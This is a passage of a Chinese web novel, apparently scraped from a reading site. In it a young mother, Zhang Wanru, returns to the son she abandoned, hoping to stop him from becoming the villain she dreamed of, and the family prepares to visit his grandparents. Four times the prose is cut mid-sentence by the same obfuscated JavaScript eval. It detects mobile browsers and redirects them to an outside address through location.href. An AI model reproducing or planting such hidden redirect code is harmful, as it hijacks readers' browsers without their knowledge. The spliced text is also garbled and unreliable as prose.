房间的门合上,肖楚戎却没有看书,他看了一眼那个箱子,随后想到什么,他爬到床上,从枕头的缝隙中摸出钥匙,垫着脚将箱子拿下来,把钥匙插进锁孔打开。一个大概两个巴掌大的箱子,里面却只装了小小的一张照片。 照片上的女人抱着一个还在襁褓中的孩子,他知道那个孩子是他,而那个抱着他的女人是他从未见过的妈妈。小小的手指头轻轻在女人面上扶过,这张照片是他偷偷藏起来的,连爸爸都不知道,这是他的秘密,不会给任何人交换的秘密。 车子开到小区楼下,张婉如才知道肖秉文带着孩子搬出了老宅。 “小戎没去幼儿园,家里有人照顾他吗?”张婉如上楼时问道。 “赵阿姨照顾他,你应该还记得她吧?在老宅时她照顾过你。” 张婉如还记得,待产那段时间,她在肖家老宅住,当时就是赵阿姨照顾的她。印象中赵阿姨为人勤快本分,是个挺不错的人,小戎应该也能被她照顾得很好。 步梯楼房,肖秉文住的是四楼,房子挺新的,应该才修了没几年。肖秉文拿出钥匙开了门,房子挺大的,采光也不错,进门是玄关,跟玄关连着是大大的客厅,客厅里放着真皮沙发,对面崭新的电视柜上放着一台大彩电。 客厅旁边是一条走廊,走廊连着卧室,张婉如一进客厅就看到的走廊上的年轻女人,赵阿姨她认识,但这年轻女人明显不是。 听到声音,一个系着围裙的中年女人从厨房出来,这位才是赵阿姨。赵阿姨看到进来的两人目光露出惊愕,看到肖秉文是惊愕于他今天这么早就回来,看到张婉如惊愕是因为她认出了她,她自然是知道张婉如身份的。 王华丽上完卫生间正要回房间就看到肖秉文带着个女人进来,不过她知道肖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144647|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秉文没交女朋友,他也不是那种会把女人往家里带的类型。正疑惑于这女人的身份,就听到肖秉文轻描淡写介绍了一句,“这是小戎的妈妈,赵阿姨还记得吧?” 赵阿姨急忙应道:“记得记得。” 肖秉文又冲张婉如道:“赵阿姨就不用介绍了,你也认识,这位是小戎的家庭教师王老师,王老师,这是小戎的妈妈。” 张婉如冲王华丽微笑着点点头打招呼,王华丽一时却震惊于肖秉文的话。肖楚戎是单亲家庭,她给他当家教一年多了从未见过他妈妈。肖秉文从来不提起,肖楚戎也从未提过他妈,她作为一个外人也不好问。不过她从旁打听过关于肖楚戎妈妈的事,只知道她在肖楚戎很小的时候离开了,其他的便打听不到了。 总之肖楚戎的妈妈似乎让所有知道她的人都讳莫如深,她原本猜想着,会不会是发生过什么不好的事情,不然肖楚戎妈妈怎么会在他那么小的时候就离开,或许是夫妻二人互相憎恨,感情破裂,可看两人这状态虽没有多亲近,但又不像是互相憎恨的样子。 王华丽察觉到自己的失态,急忙回过神来,冲张婉如笑着点了点头。 房间里的肖楚戎听到外面的声音,好像是爸爸回来了,他觉得奇怪,爸爸今天怎么这么早就回来。他将箱子锁好放回原位,钥匙也在枕头底下藏好,这才从房间出来查看。第一眼看到了爸爸,随后便看到了跟在爸爸身边的女人,而他也一眼就认了出来。他每天都会看一眼她的照片,那个他只能在照片上见到的女人。 已临近初夏,小男孩穿着短袖短裤,长了一张白嫩嫩的脸,一双大眼睛,此刻睁着清澈无辜的双眼愣愣向她看过来。 不是她噩梦中那个站在审判台上,冷眼笑着让人头皮发麻的魔鬼。此刻小小年纪肉嘟嘟的脸上那双眼睛依旧带着童稚的天真,他还不是未来那个让人闻风丧胆的恶魔。 原来小时候的他长得这么可爱啊。 肖秉文冲肖楚戎招招手,说道:“小戎,你过来。”小孩乖乖走过来靠在爸爸腿边,目光却依旧落在张婉如身上。 肖秉文看了张婉如一眼,说道:“是你自我介绍还是我帮你介绍?” 张婉如调整了一下呼吸,她蹲下和小孩拉近了一些距离,尽量让脸上的笑容显得不那么僵硬。 “小戎。”她轻声唤他,“我……我是……” 张婉如实在说不出那句我是你妈妈,毕竟这么多年来,她也没看过他一眼。他那么小她就离他而去,如今突然跑回来告诉人家,我是你妈,还指望着别人叫她一声妈吗?显得挺不要脸的。 小孩恨她妈?她不知道,小孩怨她吗,她也不知道,她唯一知道的是,她的离开给他带来了不可磨灭的伤痛,这伤痛随着时间越来越深,最后把他撕裂成了一个魔鬼。 肖秉文在一旁见她犹犹豫豫的半天憋不出一个字,他看不下去了,直接说道:“她是你妈。” 张婉如:“……” 5. 第 5 章 听到这话小男孩依旧没什么反应,目光落在张婉如身上,好像在好奇又好像没有,也没有叫人的意思,但对于张婉如他似乎也不抗拒。 肖秉文是知道自己孩子的性子的,有时候他觉得这孩子沉闷得不像个孩子,有人在他跟前说过,这小孩有点问题,是什么自闭症什么的,肖秉文听了之后挺不高兴的。他觉得每个人的性子都有不同,人跟人是不一样的,他并不觉得他的孩子有什么问题。 不过张婉如并不知道这孩子的性子,这孩子也不叫人,也不搭理她,不知道她会不会觉得孩子不喜欢她,又或觉得他没把孩子教好。 肖秉文在孩子肩头轻轻拍了拍,提醒道:“小戎,不叫人吗?” 孩子依旧只是盯着张婉如没说话,气氛显得有些尴尬。肖秉文想跟张婉如解释一句,小孩子他不太爱说话,不想张婉如似乎没太当回事,她递上给他买的礼物,那辆玩具车。 “不知道你喜欢什么就买了这个。” 小孩终于将落在她身上的目光落在玩具车上,沉默了一会儿他接过,很小声说了一句:“谢谢。” 这是他见到张婉如之后的第一句话,张婉如暗中松了一口气,小孩不叫她她能理解的,毕竟这么多年都不在,连认识都不认识,突然叫一个陌生人妈妈,哪个小孩乐意?不过看眼下这情景,小孩应该也不讨厌她的,最起码给他的礼物他也愿意要。她要回到他身边,想来也没她想的那么难。 “小戎,还有半节课没上完,我们去学剩下的单词好不好?” 突然响起的声音打破了有些古怪的氛围,张婉如想着,也不能耽误孩子上课,剩下的事情等孩子上完课再说,不想却听得肖秉文说道:“今天的课就不上了,这两天给他放个假吧,王老师明天好好休息。” 王华丽笑容有些尴尬,不过她当家教本来一切都是雇主说了算,她也不好再说什么,便去房间收拾了东西出来,冲肖楚戎道:“小戎老师走咯,只有过两天再见了。” 肖楚戎虽然性子闷,不过每次离开时也会跟他礼貌道别,这次他的目光却被手上的玩具车吸引着,一直盯着玩具车看,似乎没听到她的话。 倒是肖秉文客气道了一句,“王老师慢走。” 王华丽便只能收回目光出了门。 肖秉文道:“你不是有话要跟孩子说吗,现在也没外人了。” 王老师走了,赵阿姨去了厨房忙碌,客厅里便只剩了他们三。严格来讲,虽然张婉如和肖秉文有个孩子,但在那之前两人井水不犯河水,甚至她还有点讨厌这个人,所以肖秉文这个没有外人听上去就怪怪的。 不过张婉如也没想那么多,她来是征得小孩同意的。张婉如斟酌了一下,觉得还是直接说比较好。 “小戎,我打算回来和你们一起住,我跟你爸爸商量过,他同意了。我来是想问问你同意我回来和你们一起住吗?” 清澈的带着疑惑的目光落在张婉如身上,有些稚嫩的声音小声问道:“你会住多久?” 张婉如道:“我会住很久,住到你长大为止。” 如果伤痕已经在了,那她就尽量修补,能修补成什么样她不敢保证,但她会尽她所能阻止他成为未来的魔鬼。 张婉如试探着又道:“所以,你同意我回来吗?” 小孩沉默了一会儿,然后点了点头,张婉如这才彻底松了一口气。比她想象的要轻松,孩子好像并没有那么憎恨她,最起码她要回来他并不反感。 张婉如站起身,肖秉文便顺势问了一句,“小戎也同意你回来了,你打算什么时候搬回来?” “看你们什么时候方便吧。” “我今天就挺方便的,没什么事,正好小戎也在家。” “……” 他神色如常,表情也挺坦荡,张婉如也没多想,或许正好今天他不忙,张婉如也干脆,说道:“那行,我回去收拾一下,一会儿就过来。” “我陪你过去,多个人快一点。” 张婉如想说其实她东西没那么多,并不麻烦的,不过都同意回来一起住了也没什么好扭捏,他有车确实要方便一点,便同意了。 “你在家等一会儿,我们很快就回来。”肖秉文离开前冲小戎说了一句。 小孩目光在两人身上来回看了一眼,点了点头。 张婉如不知道会在这里停留多久,就随便找了一家宾馆住,尽量选的便宜的。肖秉文将车子停在路边,这巷子车开不过去,下了车跟着她穿过几条巷子才到。走到宾馆门口时他的面色更凝重,这宾馆装修陈旧,走道阴暗潮湿,散发着一股呕吐物的气味,不过他没说什么,跟在她身后上楼。 张婉如在一道门前停下开了门,里面的陈设也挺简陋,就一张小床,连张桌子都没有。床旁边摆了个不大的手提袋。 张婉如将床上的香皂和帕子装进手提袋中,肖秉文看了一圈没看到别的行李,他问道:“你就这么点东西?” “嗯。” “你这看上去也不像是要长住的。” “我东西本来就不多。” 肖秉文便也没多问,实际上他俩还没熟到那份上。 “走吧。” 张婉如正要将手提袋起来,一只手却先她一步。张婉如顿觉诧异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144648|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她这手提袋虽然不大,但东西装得扎实,挺沉的,她得两只手才提得动,不想他一只手就轻松提起来。 张婉如在楼下办了退房,肖秉文已将她的手提袋放到了后备箱。张婉如突然有些恍惚,她真的回来了,甚至马上就要跟肖秉文住在一起。这么多年,她从未想过要再回来,更不可能想过还会跟他住一起。 这段时间她也时不时怀疑自己是不是太敏感了,因为一场梦就回来,又要跟肖秉文有交集,又要重新面对那一辈子的阴影。 肖秉文上了车见她还没动,他透过车窗冲她说了一句,“还在犹豫什么?有东西忘拿了?” 张婉如回过神来,上了车,如果那不是梦呢,不管怎么样那孩子都是她的孩子,她不想他双手沾满鲜血,不想他变成一个魔鬼。 再回去时,肖楚戎正坐在沙发上看动画。房子是新的,家具也挺新,沙发是真皮沙发,前面是大方茶几,底座是大理石,上面是玻璃面,摆在前方的是一台大彩电。这个年代能买大彩电的人还不多,还是进口的,不过肖秉文家境富裕,他自己也开了厂,买台彩电对他来说并不难。 肖楚戎看着动画,目光却时不时向门口看一眼,等了好一会儿不见人,他又跑到窗边往楼下看。直到门打开,爸爸带着她走进来,小孩这才将身体完全窝进沙发里。 房子挺大的,看着应该有一百多平,客厅旁边是一条长走廊,走廊两侧是不同的房间,张婉如道:“我住哪个房间?” 肖秉文指了一间房说道:“这个是主卧,我在住,这间是小戎的,这间是赵阿姨的。” 张婉如等着他说下去,他的话却断在了这里,她疑惑道:“没别的房间了?” 肖秉文双手插进西裤口袋,也没说话,用一种带着几分深意的眼神看着她,“看你想住哪儿。” 他一身周正的衬衣西裤,可这会儿他身上的姿态却透着几分慵懒不羁,穿得这么正经也压不住。 张婉如顿时就尴尬起来了,她答应了回来住却没问清楚这边还有没有多余的房间,她觉得不用多问这都是默认的。 如果只有三间房,她跟谁睡都不合适。跟赵阿姨睡,她那间保姆房本来就小了,跟小孩睡,小孩子也需要自己的隐私,而且他们这么多年没见,还没那么熟悉。跟肖秉文睡那更是不可能,她和肖秉文要不是因为一场意外,两人跟陌生人差不多。 看着她尴尬无措的模样,肖秉文似乎觉得挺得劲,他勾唇笑了笑,也不再逗她,说道:“我话还没说完呢,那边还有一间客房。” 张婉如松了一口气,后知后觉反应过来,他好像在逗她? 6. 第 6 章 不过她觉得他应该没那么无聊,便也没多想,去了房间放东西。 肖秉文回来时就看到原本正坐在沙发上看电视的肖楚戎伸着脑袋往走廊处看,这个孩子平日里闷闷的,对什么都没兴趣的样子,如今多了个人他似乎活跃了一些。 肖秉文在他身边坐下,大掌揉了揉他的头,见他玩具车还放在他腿上,没拆封,他问道:“喜欢吗?” 小孩点点头,肖秉文道:“原来你喜欢玩具车啊?怎么你堂伯给你买的没见你玩?” 小孩没说话,肖秉文笑道:“是买的人不一样吗?” 小孩依旧没说话,但肖秉文已了然,笑了笑。 肖秉文的传呼机就在这时候响了,他拿起一看是熟悉的一串号码,知道是老宅那边打过来的,为了什么事他大概也猜到,他不想回电,不过没一会儿家里的座机就响了,没办法肖秉文只得接起电话。 打电话来的是肖老太太,电话一接通肖老太太就道:“你明天不去工厂是吧?” “明天休息。” “明天带着小戎回来吃个饭。” 工厂周末有一天休息,他偶尔会带小戎回去看看二老,所以那边没事也不会催着他们过去,想着老头老太太这些年挺热衷给他相亲,老太太特意叫他回去怕又是为了这事儿。 肖秉文说道:“明天不太方便。” “怎么不方便了?你明天不是休息吗?”老太太劈头盖脸说道,“我跟你说,你明天不管有什么事儿都给我推了。上次人家文凤去找你,你把人家晾一边,这事儿得好好给人赔个不是。人文凤正经大学毕业的,如今又进了银行,最关键的是人家也不嫌你带着个孩子。人主动去找你,你倒好还把人晾着,这事儿别说你伯母生气,我也生气。你明天来之前备个礼物来给人赔个礼。” 果然不出所料,这老太太又给他张罗相亲了,他以前没什么兴趣,现在更有理由不去了。 “真不方便。” “你到底有什么不方便?”老太太生气道,“你那边就是天塌了你明天也得给我过来!” 肖秉文也不瞒着,直接冲电话那头道:“小戎妈妈回来了。” 暴怒的老太太瞬间安静下来,沉默了大概有十来秒,老太太再开口语气平和了很多,“那丫头什么时候回来的?” “今天刚回来。” “走了这么多年怎么突然回来?这次回来又是几个意思?” “说是要陪在小戎身边,跟我们住一起。” “住一起?住多久?不会住个一两天不合适了又跑了吧?” “听那意思,是要陪着小戎长大的。” “……” 老太太没说话了,不知在想些什么,再开口也不说给人赔礼的事情了,只道:“她既然回来了,那你明天带着她过来一起吃顿饭。” “这不太合适吧?您想让我当着她的面跟别人相……”肖秉文刚想说相亲,话到嘴边收了一些,说道:“跟别人见面?” “她来了自然就没那回事儿了,你是觉得我老糊涂了吗?当着小戎妈的面安排你跟别人相亲?” 肖秉文笑了笑,这挡箭牌果然好使,他道:“她想不想去还得先问一下她的意思。” 老太太不满道:“怎么?她作为晚辈来看一下我们这两个老骨头不应该?” “应该是应该的,但人刚回来不是吗?” 老太太沉默中透着几分不虞,不过倒也退了一步说道:“明天她要愿意来提前通知一声。” “好嘞。” 张婉如收拾完东西出来,肖秉文正好挂断电话,肖秉文便冲她道:“老太太打来的电话,我跟她提了一下你回来的事,说让我明天带你去吃个饭。不过我也跟她说了,这看你的意愿。” 张婉如点了点头,肖秉文口中的老太太是他奶奶。肖秉文父母早逝,他是被爷爷奶奶带大的。她跟肖老爷子和肖老太太也短暂接触过,她待产那阵是在肖家老宅。肖老太太对她说不上喜欢也说不上不喜欢,大概是因为她怀了肖秉文孩子的缘故,她在肖家老宅时肖老太太也给了她些优待,面子上还是过得去的。 张婉如思索片刻说道:“当小辈的回来了确实该去探望一下他们。” 他们也都是小戎的家人,她往后想陪在小戎身边不可能不跟他们接触,能相处好一点自然更好。 张婉如的话却让肖秉文意外,张婉如在肖家住过一段时间,对肖家的一切都表现出一股冷漠排斥的态度。不太愿意和他接触,自然也不愿意跟肖家其他人接触,不将他当回事,肖家其他人她也不当回事。 这会儿却能把自己摆在小辈的立场提出去探望老人家,他第一次感觉到这丫头身上也有几分人情味。 这会儿父子两坐在沙发上看电视。真皮沙发,中间摆的一块长沙发坐三人,旁边一个两人位的一个一人位的,张婉如在其中一个两人位的沙发上坐下。 以后就要和这父子两同住一个屋檐下了,不过几人之间还是挺陌生的。氛围显得有些尴尬,张婉如想着要不要说点什么,却见肖楚戎突然坐起身,将遥控器往张婉如那边挪了挪,张婉如疑惑看了一眼,肖秉文帮忙解释:“他让你想看什么自己调。” 这会儿电视上放的是动画片,小孩子爱看的,张婉如道:“没事,我看什么都可以。” 张婉如看着那推过来的遥控器心情有点复杂,小孩好像真的并不怨恨她。这么小她就离他而去,这个时候的他不知道有没有受过别人的冷眼,但没有妈妈陪伴的孩子跟别的孩子比起来肯定会有缺憾的。她想到了小说中他被人奚落没妈妈要,他靠在墙角浑身发抖双手握拳愤怒却无法反驳,那时候的他年纪应该也不大。 张婉如有点难过,她向小孩看了一眼,虽然今天才刚接触,但她能感觉到小孩似乎很内向也不爱说话,完全没有这个年纪的孩子该有的活泼好动,她的离开对他还是有影响的。 张婉如觉得有些错误,既然犯下了,该坦诚的也该好好坦诚,该修正的也该好好修正。她起身走到小戎身边蹲下,想摸一下他的小手又觉得突兀。她平复了一下心情说道:“小戎,我很抱歉,在你很小的时候就离开了你。” 小戎愣愣看着他,不知道这个年纪的他有没有理解她的话。肖秉文听到这话目光却沉了沉,当年她走得决绝,此刻她这话听着似乎是后悔了,这让他意外。 张婉如又接着道:“我知道我的离开给你造成了伤害,我不奢求你能原谅我,但我希望你能给我一个机会让我弥补。” 肖秉文目光更沉,小孩却一直没有言语,或许他这个年纪还不能完全理解她的话。不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144649|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管她的选择究竟是不是错的,但她的离开给她造成了伤害,让他踏进万劫不复的深渊,那么这个罪魁祸首都是自己。不管孩子理不理解,她道歉的态度还是要有的。 孩子一直没有说话,张婉如也不奢求他的原谅,她只是迈出了她修复他创伤的第一步,这么多年她的位置一直空缺,怎么可能一见面就母慈子孝呢,总得慢慢来。 张婉如也很有耐心,正打算在他身边坐下陪他看会儿电视,稍稍和他拉近一些距离,不想小戎突然开了口。 他道:“你离开是因为不喜欢我吗?” 张婉如被这话狠狠刺了一下,她对上他清澈的眸,他问得很认真,似乎真的很想知道这个问题答案,微微闪烁的眸光似乎还藏着几分难过。 张婉如突然不理解自己,她知道当年自己离开是必然,她无法面对当时的处境,无法走出心中的阴影。可是这么多年来她竟像一只鸵鸟一样,丝毫没有想过这个被她抛弃的孩子。按照小说中的说法,她是真的没再回去看过他一眼,就当没有他存在一样。 如果不是那场梦,她或许还会这么狠心下去,而她无法理解就是自己竟能一鼓作气狠心下去,也不能理解为什么能那般狠心下去的自己,在做完那场梦之后会想着回来弥补,在听到他问出这句话之后心里会这么刺痛。 眼底酸涩难受,她控制好情绪说道:“我离开是因为我自己的原因,我那时候还很年轻,而我又经历过一些我无法处理的事情,所以我能做的选择就是逃避。我不是因为不喜欢你才离开,小戎你不要这么想好吗?” “不是因为不喜欢我吗?”他小声呢喃,有些不确定。 “当然不是。” “那你为什么离开这么久?为什么没有来看过我?” “……” 话语间也没有责备,甚至问出这句话时声音压低了一些,透着几分小心翼翼。 面对他的询问,张婉如心中难过却无言以对,她很惭愧又觉得自己可耻,这么多年的冷漠,现在突然出现又想证明自己的母爱。 她真的有母爱吗?如果有的话,为什么离开后就再也没看过他一眼,为什么这么冷漠从未想过这个孩子?但凡她稍微记挂他一下,他也不会因为被母亲抛弃的阴影伴随一生,从而心理扭曲看不得别人的幸福,就想出手毁掉。 如果她没有母爱,为什么在做了那场梦之后又会回来?她感觉自己像一个矛盾体,未来的那个她,小说中的那个她,和现在的那个她,这几个她之间不知道哪个才是真正的她。 “我没来看你是我不好。”张婉如说道:“我不为自己辩解什么,确实是我做得不够好。小戎不要难过,我现在回来了,我以后好好陪你好吗?” 他沉默了一会儿点了点头,眸光中闪烁的难过似乎淡了一些。 一切好像进行得很顺利,她走出了第一步,孩子好像也接纳了她,愿意给她机会,可不知道为什么心里却不是滋味。 “那你什么时候和爸爸复婚?” “……” 小孩童稚的话语将她从沉重的心情中拉回神来,她对上孩子那双真挚的眼,却没反应过来复婚的意思。 她和肖秉文都没在一起过,更别说结婚,都没结婚又哪里来的复婚? 她下意识向肖秉文看去。 7. 第 7 章 在母子俩说话时肖秉文一直没开口,他诧异于张婉如的态度,正在思索她会遇上什么事导致她突然变了想法,竟然会表现出惭愧和悔意,要知道当年她离开时那么冷漠决绝。 思索间猝不及防间就听到这句话,然后就对上张婉如看过来的眼神。 别看肖秉文年轻,人生经历算是挺丰富的,大大小小的问题遇到过不少,再加上生长环境的影响,遇事虽不至于每次都能迎刃而解从容不迫,可也不至于乱了手脚。而现在,面对张婉如的目光,竟让他有些手足无措,一时梗在那里,不知道该怎么解释。 张婉如倒心领神会了,本来她跟肖秉文就是一场意外,当年肖秉文也并未向家人说出那场意外,只说张婉如是他交的女朋友来解释两人未婚先孕。恐怕在孩子这里肖秉文也撒了个善意的谎言,以为爸爸妈妈是通过正常程序结了婚有了他后来离了婚的。 如果是这样的话张婉如就不知道该怎么回答了,回答会复婚,本来她跟肖秉文就没结婚,要是说实话,又不知道给小孩心里造成什么伤害。 正无措间,却见肖秉文揉了揉他的小脑袋,说道:“大人之间的事情大人会自己解决的,小孩子就考虑自己的事情就行。” 毕竟这慌是他撒的,也不好让张婉如为难。 小孩听出了肖秉文的言外之意,大概他们是不会复婚的,他有些失落点点头。 “你爸爸和继母知道你回来吗?”肖秉文顺势转移了话题,话是对张婉如说的。 听到这话张婉如神色淡了淡,“不知道。” 肖秉文便也没有再多问。 张婉如妈妈早逝,在她十二岁的时候她爸爸娶了现在的老婆,也就是她的继母。十六岁的时候继母生了个弟弟。一开始她对这个继母有一点淡淡的排斥,毕竟突然有个陌生人要来取代妈妈的位置,不过继母对她还算客气,她虽然排斥但也没表现得太明显,好歹维持着家庭和谐,不让爸爸为难。 不过后来她渐渐感觉到这个继母没那么喜欢她,就比如她偷听到继母让爸爸将她送到学校寄宿,说是这样方便学习,还说她学画画费钱,他们以后还要孩子,养孩子也是一笔开销,而且学画画也没什么前景,想让爸爸放弃让她学画画。 有句话说得好,有了后妈就有了后爹,她爸爸还真就听了继母的建议,将她送到学校寄宿,而她从小就学的画画也停了,她对这个爸爸也彻底失望。 从那以后她就不再喜欢这个继母,之后见面虽不至于争锋相对,却也在暗中较量,直到后来弟弟出生,她对这个家也越来越排斥。 尤其发生了那次意外之后,为了自己的名声着想,她没敢说自己被绑架,自己被下药,还被人拍了照。她和肖秉文商议的是,只对外说他们在偷偷交往,可即便如此未婚先孕也是一件让人耻笑的事情,她的爸爸为此狠狠辱骂了她一顿。 张婉如的爸爸张国栋,曾做过下乡知青,返城后在一所中学任教,后来成为中学的校长,再后来进了教育局,目前是教育局的一个小领导。他是个老学究,又有着那个年代人的古板,当年她能学画画也是她奶奶坚持的,奶奶出生还不错,只是后来战乱家道中落,但小时候是读过一些书的,她看张婉如有画画天赋才让她去学画,后来离世之后也交待让张国栋继续让张婉如学画,只不过后来娶了媳妇,答应奶奶的话他也忘了。 事情发生之后张国栋觉得女儿的行为丢了他的脸。尤其张婉如和肖秉文还差了些辈分,就更让他觉得难堪。 张婉如后母的爸爸是肖秉文爷爷的干儿子,所以肖秉文和她的继母梁文秀是干姐弟关系,按照辈分来说,她还得叫肖秉文一声小舅舅。 张国栋骂张婉如,他辛苦送她读书,而她却不知礼义廉耻,既然如此,那以后也就别去读书了。 所以张婉如后来离开就再也没跟家里联系过,他们怎么样了,她也懒得过问。 晚上张婉如和父子两一起吃饭,菜色也没什么特别,都是一些家常菜,三菜一汤,小炒肉,炖排骨,红烧牛尾骨,一个炒青菜,有三个是肉菜,这对于在工厂干活长期沾不上荤腥的张婉如来说已经算得上是盛宴了。一口排骨下去,她竟然有一种热泪盈眶的感觉,已经好久没这么吃过肉了。 赵阿姨手艺好,这排骨做得真不错,张婉如吃饭间抬头,就见坐在对面的小戎正看着她,被她目光对上他又低头吃饭,没过一会儿又抬头偷偷看着她。 大概对她这个突然出现的妈妈既陌生又好奇,张婉如也能理解,便也由着他打量,满足他的好奇心。不想小孩看了她一会儿,突然将那碗炖排骨往她跟前推了推。 张婉如有些诧异,她向小孩看去,他却低头扒饭,就仿若刚刚把菜推到她跟前的动作不是他做的。 张婉如望着那盘被推过来的菜,想着白天时被推到她跟前的遥控器,如果她没有理解错的话,小孩这是在向她示好。 他并没有排斥他,她有些激动,自然不会辜负他的好意,她便夹了一筷子排骨,在小孩抬头又向她看过来时她冲他笑了笑。 对上她的笑容,小戎愣了愣,随即便立刻低头,似有些害羞。 他虽性格内向,却也有着小孩子的可爱。是呢,现在的他真的好可爱啊,他还不是未来的魔鬼,一切都还来得及的,而她也会尽她所能,让他将他这份可爱一直保留下去。 吃完饭张婉如回了房间,房间有一张一米五左右的床,家具挺简单,一个衣柜,一张写字桌,不过房间够大,灯光照下来只觉宽敞明亮,比工厂的八人宿舍要好太多了。 张婉如拿起桌上的一叠设计稿,这是她在工厂时没事自己画的,她有画画的基础,去了制衣厂便对设计有了兴趣,便趁着有空偷偷学了一下。这次回来也一并带回来了,这些是她为数不多的财富之一,以后或许也有用。 第二日一早张婉如便要跟肖秉文父子回肖家老宅,张婉如和肖楚戎一起坐在后座。座位离得并不近,毕竟这么多年没有陪伴在他身边,也不会像别的母子那般亲近。 张婉如却发现,就跟昨天一样,小孩时不时会看向她,她目光一旦看过去他又立刻低头。张婉如笑了笑,便主动同他说话。 “小戎上幼儿园了对吗?” “嗯。” “在幼儿园里有没有交新朋友啊?” 小孩摇摇头,张婉如担忧问道:“一个都没有吗?” “嗯。” 张婉如心里不是滋味。他出生没多久她就走了,这么多年没陪在他身边,对他也不是很了解,可是梦中的那本书里描写过他的性格,他从小因为家庭原因性格孤僻,家庭的什么原因,当然是被母亲抛弃。 创伤已经留下,自然是需要时间慢慢修复。 “不着急,以后会交到朋友的。”像是在对他说也像是在对自己。 车子在肖家老宅门口停下,此刻门口已经等了一个中年女人。女人身上穿着一件湖水蓝的杭绸旗袍,一头长发挽在头顶。个子有些小巧,气质却挺特别,举手投足间尽显优雅。见几人从车上下来便露出一抹笑,整个人都透着和善可亲。 张婉如在老宅住过一段时间,自然认得她,她是肖秉文的姑姑。肖老爷子一共有三个孩子,老大是肖秉文大伯,老二是肖秉文姑姑,老三就是肖秉文的爸爸。肖秉文的二姑就嫁到本市,丈夫离开没多久就去世了,老太太心疼他们孤儿寡母的,就将母子俩接回了肖家居住。 “二姑。”肖秉文下车招呼了一句,张婉如出于礼貌也跟着喊了一声:“二姑。” 肖秉文下意识看了她一眼,目光透着几分意外,嘴角却不可察觉勾了勾。 二姑早得了消息,看到张婉如也没诧异,和蔼热情丝毫不会让人觉得不自然,她道:“你们可算回来了,你爷爷奶奶从早上就盼着了。”说完又笑看向张婉如说道:“奶奶知道你要回来,特意做了你爱吃的菜,豆腐丸子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144650|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对吧,你以前在这儿住时就爱吃这个,老太太一直记着呢。” 一句话便拉近了张婉如和肖家的距离感,老太太并没有因为她当年突然离去就责备,还让人备好她爱吃的菜,不管是真的还是只是场面话,张婉如紧张的情绪多少缓解了一些。 肖家老宅进大门有个大院子,穿过院子才是正门,进了正门入眼就是一个四方天井,整座大宅绕着天井四合,穿过天井就到了会客厅,此刻会客厅里已经聚集了不少人。 这老宅是肖老爷子年轻的时候一点点修起来的,又经过多年的修葺和改善,却还保持着它原本的布局。会客厅挺大,一溜的红木家具,没装电视,偏厅倒是装了电视,不过老爷子和老太太平时也不看。老爷子有个收音机,平时就听听新闻和昆曲。屋檐外面挂着个鸟笼,里面养了几只鹦鹉,被眼下热闹的气氛感染,两只鹦鹉上蹿下跳学着人说话。 大厅的正上方墙壁上挂着一块巨大的方孔圆钱,圆钱上刻着“招财进宝,黄金万两”几个大字。而在圆钱下方的主位上坐着肖家老爷和肖老太太。 两人都七十多了,不过精神头看着还不错,肖老爷戴着一副老花镜,留着一头稀疏的头发,穿着一件中山装,做工精致,看着也挺崭新。张婉如在老宅住过,她见过的肖老太爷平日里穿着都很朴素,虽然家里生意做得挺大,但老人家节俭惯了,所以这一身应该算是盛装出席了。 老太太穿得是一件深绿色的盘扣唐装,上装下裙的样式,这颜色对于老年人来说也算得上鲜艳了。 主位一侧的位置上坐着一个西装革履的中年男人,他是肖秉文的大伯肖家老大,肖老大旁边坐着一个年轻的男人,岁数看着跟肖秉文差不多,看到肖秉文进来还故意冲他挤了挤眼睛。 他是肖秉文的堂兄,名叫肖瑜,肖瑜是肖家老大和前妻所生,在肖家长辈眼中是个浪荡子,败家玩意儿,读书不行,做生意不行,干什么都不行。 